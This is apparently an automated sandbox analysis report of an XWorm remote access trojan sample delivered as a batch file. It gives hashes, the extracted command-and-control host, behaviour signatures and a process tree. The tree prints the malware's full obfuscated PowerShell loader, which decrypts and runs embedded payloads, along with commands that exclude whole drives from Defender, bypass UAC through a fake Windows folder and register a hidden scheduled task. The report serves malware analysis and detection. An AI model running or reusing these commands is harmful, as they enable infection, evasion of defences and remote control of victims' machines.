xworm | 374728f8d9b03e9cf76bc3c4355afe1f968a0efd8bd20b7f88946bc7ef91e3f2

Analysis

max time kernel
51s
max time network
52s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
12/06/2024, 07:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
81615530000729461941067939068992519669358735300091.bat
Size 161KB
Sample240612-jecewavblb
SHA256 897b124a4ef0a2886f3604babd1716017ac19577b5d74abca068ad24b21da4d6
MD5 416aff758a2a587d89b208f7dabdb0ec
SHA1 7e908dee1cfc2885d688d8c0e9c03e88b66ea090
SHA512 8b66d8193011d207d9b24b0a20b76e2099bd3bbaea47d0797faba7a6f9741cae95dc3d4d69943aaad7df882e10299dbdfc49d1325fd30c1128ecfd23a0474a46
SSDEEP 3072:oJl6l20lITvp1WNt4HkboG2vIbuoTkDa+P0o5l1MzFpiP5cNttn:oJl6w0FNt4Hk+gbTy/P0obPSNttn
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

ivmsgauzt84tgksuw6an6cht0am8iiux0jz.duckdns.org:7772

Mutex

CBNxQlZF6Bvs1OlD

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/1576-105-0x000002A279240000-0x000002A279250000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1056	powershell.exe
1576	powershell.exe
3224	powershell.exe
1816	powershell.exe
4332	powershell.exe
1556	powershell.exe
1792	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2396	ComputerDefaults.exe

Loads dropped DLL 1 IoCs

pid	Process
2396	ComputerDefaults.exe

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
1056	powershell.exe
1056	powershell.exe
1556	powershell.exe
1556	powershell.exe
1576	powershell.exe
1576	powershell.exe
1792	powershell.exe
1792	powershell.exe
3224	powershell.exe
3224	powershell.exe
2876	powershell.exe
2876	powershell.exe
1816	powershell.exe
1816	powershell.exe
5056	powershell.exe
5056	powershell.exe
4332	powershell.exe
4332	powershell.exe
1576	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1056	powershell.exe
Token: SeDebugPrivilege	1556	powershell.exe
Token: SeDebugPrivilege	1576	powershell.exe
Token: SeDebugPrivilege	1792	powershell.exe
Token: SeDebugPrivilege	3224	powershell.exe
Token: SeDebugPrivilege	2876	powershell.exe
Token: SeIncreaseQuotaPrivilege	2876	powershell.exe
Token: SeSecurityPrivilege	2876	powershell.exe
Token: SeTakeOwnershipPrivilege	2876	powershell.exe
Token: SeLoadDriverPrivilege	2876	powershell.exe
Token: SeSystemProfilePrivilege	2876	powershell.exe
Token: SeSystemtimePrivilege	2876	powershell.exe
Token: SeProfSingleProcessPrivilege	2876	powershell.exe
Token: SeIncBasePriorityPrivilege	2876	powershell.exe
Token: SeCreatePagefilePrivilege	2876	powershell.exe
Token: SeBackupPrivilege	2876	powershell.exe
Token: SeRestorePrivilege	2876	powershell.exe
Token: SeShutdownPrivilege	2876	powershell.exe
Token: SeDebugPrivilege	2876	powershell.exe
Token: SeSystemEnvironmentPrivilege	2876	powershell.exe
Token: SeRemoteShutdownPrivilege	2876	powershell.exe
Token: SeUndockPrivilege	2876	powershell.exe
Token: SeManageVolumePrivilege	2876	powershell.exe
Token: 33	2876	powershell.exe
Token: 34	2876	powershell.exe
Token: 35	2876	powershell.exe
Token: 36	2876	powershell.exe
Token: SeDebugPrivilege	1816	powershell.exe
Token: SeIncreaseQuotaPrivilege	1816	powershell.exe
Token: SeSecurityPrivilege	1816	powershell.exe
Token: SeTakeOwnershipPrivilege	1816	powershell.exe
Token: SeLoadDriverPrivilege	1816	powershell.exe
Token: SeSystemProfilePrivilege	1816	powershell.exe
Token: SeSystemtimePrivilege	1816	powershell.exe
Token: SeProfSingleProcessPrivilege	1816	powershell.exe
Token: SeIncBasePriorityPrivilege	1816	powershell.exe
Token: SeCreatePagefilePrivilege	1816	powershell.exe
Token: SeBackupPrivilege	1816	powershell.exe
Token: SeRestorePrivilege	1816	powershell.exe
Token: SeShutdownPrivilege	1816	powershell.exe
Token: SeDebugPrivilege	1816	powershell.exe
Token: SeSystemEnvironmentPrivilege	1816	powershell.exe
Token: SeRemoteShutdownPrivilege	1816	powershell.exe
Token: SeUndockPrivilege	1816	powershell.exe
Token: SeManageVolumePrivilege	1816	powershell.exe
Token: 33	1816	powershell.exe
Token: 34	1816	powershell.exe
Token: 35	1816	powershell.exe
Token: 36	1816	powershell.exe
Token: SeIncreaseQuotaPrivilege	1816	powershell.exe
Token: SeSecurityPrivilege	1816	powershell.exe
Token: SeTakeOwnershipPrivilege	1816	powershell.exe
Token: SeLoadDriverPrivilege	1816	powershell.exe
Token: SeSystemProfilePrivilege	1816	powershell.exe
Token: SeSystemtimePrivilege	1816	powershell.exe
Token: SeProfSingleProcessPrivilege	1816	powershell.exe
Token: SeIncBasePriorityPrivilege	1816	powershell.exe
Token: SeCreatePagefilePrivilege	1816	powershell.exe
Token: SeBackupPrivilege	1816	powershell.exe
Token: SeRestorePrivilege	1816	powershell.exe
Token: SeShutdownPrivilege	1816	powershell.exe
Token: SeDebugPrivilege	1816	powershell.exe
Token: SeSystemEnvironmentPrivilege	1816	powershell.exe
Token: SeRemoteShutdownPrivilege	1816	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1576	powershell.exe

Suspicious use of WriteProcessMemory 34 IoCs

description	pid	Process	procid_target
PID 1936 wrote to memory of 4284	1936	cmd.exe	83
PID 1936 wrote to memory of 4284	1936	cmd.exe	83
PID 1936 wrote to memory of 2176	1936	cmd.exe	87
PID 1936 wrote to memory of 2176	1936	cmd.exe	87
PID 1936 wrote to memory of 1056	1936	cmd.exe	88
PID 1936 wrote to memory of 1056	1936	cmd.exe	88
PID 1056 wrote to memory of 1556	1056	powershell.exe	89
PID 1056 wrote to memory of 1556	1056	powershell.exe	89
PID 1056 wrote to memory of 3376	1056	powershell.exe	91
PID 1056 wrote to memory of 3376	1056	powershell.exe	91
PID 3376 wrote to memory of 2396	3376	cmd.exe	93
PID 3376 wrote to memory of 2396	3376	cmd.exe	93
PID 2396 wrote to memory of 3676	2396	ComputerDefaults.exe	94
PID 2396 wrote to memory of 3676	2396	ComputerDefaults.exe	94
PID 3676 wrote to memory of 4424	3676	cmd.exe	96
PID 3676 wrote to memory of 4424	3676	cmd.exe	96
PID 3676 wrote to memory of 1840	3676	cmd.exe	97
PID 3676 wrote to memory of 1840	3676	cmd.exe	97
PID 3676 wrote to memory of 1576	3676	cmd.exe	98
PID 3676 wrote to memory of 1576	3676	cmd.exe	98
PID 1576 wrote to memory of 1792	1576	powershell.exe	99
PID 1576 wrote to memory of 1792	1576	powershell.exe	99
PID 1576 wrote to memory of 3224	1576	powershell.exe	101
PID 1576 wrote to memory of 3224	1576	powershell.exe	101
PID 1576 wrote to memory of 2876	1576	powershell.exe	103
PID 1576 wrote to memory of 2876	1576	powershell.exe	103
PID 1576 wrote to memory of 1816	1576	powershell.exe	106
PID 1576 wrote to memory of 1816	1576	powershell.exe	106
PID 1056 wrote to memory of 4456	1056	powershell.exe	108
PID 1056 wrote to memory of 4456	1056	powershell.exe	108
PID 1056 wrote to memory of 5056	1056	powershell.exe	109
PID 1056 wrote to memory of 5056	1056	powershell.exe	109
PID 1056 wrote to memory of 4332	1056	powershell.exe	112
PID 1056 wrote to memory of 4332	1056	powershell.exe	112

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\81615530000729461941067939068992519669358735300091.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1936
- C:\Windows\system32\cmd.exe
  cmd /c "set __=^&rem"
  2⤵
  PID:4284
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('eJtS7BW8TsXMaPIam1m2IRoAeCdHmqg1RBsmIhwSvhQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('o0gE9vmLtvavEDZl9H1iuQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $xIQaF=New-Object System.IO.MemoryStream(,$param_var); $gboVG=New-Object System.IO.MemoryStream; $FotCK=New-Object System.IO.Compression.GZipStream($xIQaF, [IO.Compression.CompressionMode]::Decompress); $FotCK.CopyTo($gboVG); $FotCK.Dispose(); $xIQaF.Dispose(); $gboVG.Dispose(); $gboVG.ToArray();}function execute_function($param_var,$param2_var){ $nhluO=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $fbouC=$nhluO.EntryPoint; $fbouC.Invoke($null, $param2_var);}$BbFmy = 'C:\Users\Admin\AppData\Local\Temp\81615530000729461941067939068992519669358735300091.bat';$host.UI.RawUI.WindowTitle = $BbFmy;$XdayF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($BbFmy).Split([Environment]::NewLine);foreach ($EYKSB in $XdayF) { if ($EYKSB.StartsWith('GTGaHqhKZrDmxohhGHXz')) { $CykjU=$EYKSB.Substring(20); break; }}$payloads_var=[string[]]$CykjU.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:2176
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1056
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1556
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c "C:\Windows \System32\ComputerDefaults.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3376
  - - C:\Windows \System32\ComputerDefaults.exe
      "C:\Windows \System32\ComputerDefaults.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:2396
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c call SC.cmd
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3676
      - C:\Windows\system32\cmd.exe
        
        cmd /c "set __=^&rem"
        6⤵
        
        PID:4424
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('eJtS7BW8TsXMaPIam1m2IRoAeCdHmqg1RBsmIhwSvhQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('o0gE9vmLtvavEDZl9H1iuQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $xIQaF=New-Object System.IO.MemoryStream(,$param_var); $gboVG=New-Object System.IO.MemoryStream; $FotCK=New-Object System.IO.Compression.GZipStream($xIQaF, [IO.Compression.CompressionMode]::Decompress); $FotCK.CopyTo($gboVG); $FotCK.Dispose(); $xIQaF.Dispose(); $gboVG.Dispose(); $gboVG.ToArray();}function execute_function($param_var,$param2_var){ $nhluO=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $fbouC=$nhluO.EntryPoint; $fbouC.Invoke($null, $param2_var);}$BbFmy = 'C:\Users\Admin\AppData\Local\Temp\SC.cmd';$host.UI.RawUI.WindowTitle = $BbFmy;$XdayF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($BbFmy).Split([Environment]::NewLine);foreach ($EYKSB in $XdayF) { if ($EYKSB.StartsWith('GTGaHqhKZrDmxohhGHXz')) { $CykjU=$EYKSB.Substring(20); break; }}$payloads_var=[string[]]$CykjU.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:1840
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:1576
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1792
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command " Remove-Item '\\?\C:\Windows \' -Force -Recurse "
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3224
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\SC')
        7⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2876
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote startup_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\SCV.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1816
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c rmdir "c:\Windows \"/s /q
    3⤵
    PID:4456
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\81615530000729461941067939068992519669358735300091')
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5056
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote startup_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\SCV.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4332

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
MD5 a26df49623eff12a70a93f649776dab7
SHA1 efb53bd0df3ac34bd119adf8788127ad57e53803
SHA512 e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c
SSDEEP 1536:0YaC+jH04tAHk1ZSMrxyNhftflJdvYoFi3j39MVvjMlUst+hNOwUp7bNvv+EGa5d:0YaC+jH04tAHk1cMrxyNhftflJdvYoFw
MD5 SHA1 SHA512 SSDEEP

Submit Download